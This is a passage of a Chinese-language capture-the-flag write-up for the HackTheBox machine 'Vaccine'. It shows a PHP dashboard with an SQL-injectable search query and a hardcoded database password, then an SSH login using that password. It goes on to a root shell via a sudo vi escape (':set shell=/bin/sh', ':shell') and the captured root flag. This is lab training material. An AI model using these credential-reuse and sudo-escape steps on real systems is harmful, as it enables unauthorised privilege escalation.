<meta charset="UTF-8">
<title>Admin Dashboard</title>
<link rel="stylesheet" href="./dashboard.css">
<script src="https://use.fontawesome.com/33a3739634.js"></script>

</head>
<body>
<!-- partial:index.partial.html -->
<body>
<div id="wrapper">
<div class="parent">
<h1 align="left">MegaCorp Car Catalogue</h1>
<form action="" method="GET">
<div class="search-box">
<input type="search" name="search" placeholder="Search" />
<button type="submit" class="search-btn"><i class="fa fa-search"></i></button>
</div>
</form>
</div>

<table id="keywords" cellspacing="0" cellpadding="0">
<thead>
<tr>
<th><span style="color: white">Name</span></th>
<th><span style="color: white">Type</span></th>
<th><span style="color: white">Fuel</span></th>
<th><span style="color: white">Engine</span></th>
</tr>
</thead>
<tbody>
<?php
session_start();
if($_SESSION['login'] !== "true") {
header("Location: index.php");
die();
}
try {
$conn = pg_connect("host=localhost port=5432 dbname=carsdb user=postgres password=P@s5w0rd!");
}

catch ( exception $e ) {
echo $e->getMessage();
}

if(isset($_REQUEST['search'])) {

$q = "Select * from cars where name ilike '%". $_REQUEST["search"] ."%'";

$result = pg_query($conn,$q);

if (!$result)
{
die(pg_last_error($conn));
}
while($row = pg_fetch_array($result, NULL, PGSQL_NUM))
{
echo "
<tr>
<td class='lalign'>$row[1]</td>
<td>$row[2]</td>
<td>$row[3]</td>
<td>$row[4]</td>
</tr>";
}
}
else {

$q = "Select * from cars";

$result = pg_query($conn,$q);

if (!$result)
{
die(pg_last_error($conn));
}
while($row = pg_fetch_array($result, NULL, PGSQL_NUM))
{
echo "
<tr>
<td class='lalign'>$row[1]</td>
<td>$row[2]</td>
<td>$row[3]</td>
<td>$row[4]</td>
</tr>";
}
}

?>
</tbody>
</table>
</div>
</body>
<!-- partial -->
<script src='https://cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js'></script>
<script src='https://cdnjs.cloudflare.com/ajax/libs/jquery.tablesorter/2.28.14/js/jquery.tablesorter.min.js'></script><script src="./dashboard.js"></script>

</body>
</html>

发现代码中的这行:$conn = pg_connect("host=localhost port=5432 dbname=carsdb user=postgres password=P@s5w0rd!"); 用户密码就都有了。

shell可能会忽然死,改用ssh连接:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
┌──(kali㉿kali)-[~]
└─$ ssh postgres@10.129.99.79
The authenticity of host '10.129.99.79 (10.129.99.79)' can't be established.
ED25519 key fingerprint is SHA256:4qLpMBLGtEbuHObR8YU15AGlIlpd0dsdiGh/pkeZYFo.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.99.79' (ED25519) to the list of known hosts.
postgres@10.129.99.79's password:
Welcome to Ubuntu 19.10 (GNU/Linux 5.3.0-64-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

System information as of Mon 24 Jul 2023 01:03:52 PM UTC

System load: 0.0 Processes: 186
Usage of /: 32.6% of 8.73GB Users logged in: 0
Memory usage: 19% IP address for ens160: 10.129.99.79
Swap usage: 0%

0 updates can be installed immediately.
0 of these updates are security updates.

The list of available updates is more than a week old.
To check for new updates run: sudo apt update

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

sudo - l查看有哪些特权:

1
2
3
4
5
6
7
8
9
10
postgres@vaccine:~$ sudo -l
[sudo] password for postgres:
Matching Defaults entries for postgres on vaccine:
env_keep+="LANG LANGUAGE LINGUAS LC_* _XKB_CHARSET", env_keep+="XAPPLRESDIR
XFILESEARCHPATH XUSERFILESEARCHPATH",
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
mail_badpass

User postgres may run the following commands on vaccine:
(ALL) /bin/vi /etc/postgresql/11/main/pg_hba.conf

vi sudo教学连接:https://gtfobins.github.io/gtfobins/vi/#sudo

1
2
3
postgres@vaccine:~$ sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf -c ':!/bin/sh'/dev/null
Sorry, user postgres is not allowed to execute '/bin/vi
/etc/postgresql/11/main/pg_hba.conf -c :!/bin/sh /dev/null' as root on vaccine.

最后使用这两个命令还真拿到权限了:

1
2
3
4
5
6
7
8
9
postgres@vaccine:~$ sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf
#输入 :set shell=/bin/sh
postgres@vaccine:~$ sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf
#输入 :shell

root@vaccine:/var/lib/postgresql# whoami
root
root@vaccine:/var/lib/postgresql# id
uid=0(root) gid=0(root) groups=0(root)
1
2
3
4
5
6
root@vaccine:/var/lib/postgresql# cd /root
root@vaccine:~# bash
root@vaccine:~# ls
pg_hba.conf root.txt snap
root@vaccine:~# cat root.txt
dd6e058e814260bc70e9bbdef2715849